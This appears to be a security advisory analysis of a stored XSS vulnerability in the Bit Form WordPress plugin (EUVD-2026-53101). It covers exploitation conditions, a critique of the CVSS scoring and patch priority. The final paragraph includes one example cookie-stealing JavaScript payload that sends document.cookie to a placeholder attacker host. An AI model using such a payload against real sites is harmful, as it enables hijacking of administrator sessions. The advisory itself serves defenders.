Bit Form EUVD-2026-53101

Exploitation requires the Bit Form plugin (version < 3.2.0) to be installed and active, with at least one published form that includes a signature image upload field accessible to unauthenticated visitors - this is a non-default form configuration that must be deliberately enabled by the site operator. The stored payload only executes when a user views the submission: typically an administrator reviewing entries in the WordPress admin panel, meaning attacker control over trigger timing is limited. The CVSS AC:H rating indicates additional complexity, likely tied to the specific rendering path (MIME type handling, inline vs. object-tag embedding) needed for script execution, meaning not all SVG submissions will reliably fire in all environments. Exploitation is limited by: (1) requirement that a signature upload field exists in a public form; (2) UI:R - a victim must actively view the stored file; (3) AC:H - browser and server MIME configuration must permit active SVG script execution. SSVC confirms Exploitation: none and Automatable: no at time of analysis.

The supplied CVSS 3.1 vector (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H) scores 7.5 and contains some metrics worth scrutiny. AC:H signals that exploitation is not straightforward - likely because reliable SVG script execution depends on how the file is served (MIME type, inline vs. linked rendering) and the specific browser environment. UI:R correctly reflects that a victim must view the stored SVG, restricting the attacker's control over timing. The S:U (Unchanged scope) appears to understate the realistic impact of stored XSS, which crosses security contexts into the victim's browser session; a scope-changed assessment is defensible. A:H in the context of a pure XSS is likely inflated - direct availability impact is not a characteristic of this attack class. EPSS at 0.18% and SSVC Exploitation: none both confirm that mass or automated exploitation is not occurring. The SSVC Technical Impact of 'total' reflects worst-case admin compromise but assumes a privileged viewer, which is a realistic assumption for form submission review workflows. Net assessment: this is a real but not urgent priority - patch it in the normal update cycle unless the site processes sensitive form data reviewed by administrators, in which case expedited patching is warranted. The A:H component of the provided CVSS vector is likely incorrect for a pure XSS and may overstate severity.

An unauthenticated attacker identifies a WordPress site running Bit Form before 3.2.0 with a public form that includes a signature field, then submits the form with a crafted SVG file embedding a JavaScript payload (e.g., document.location='https://attacker.tld/?c='+document.cookie) as the signature image. When a WordPress administrator opens the submission review panel and the SVG is rendered by their browser, the script executes in the admin's session context, exfiltrating authentication cookies or silently performing privileged actions. A public proof-of-concept is available via the WPScan advisory, lowering the skill threshold for this attack.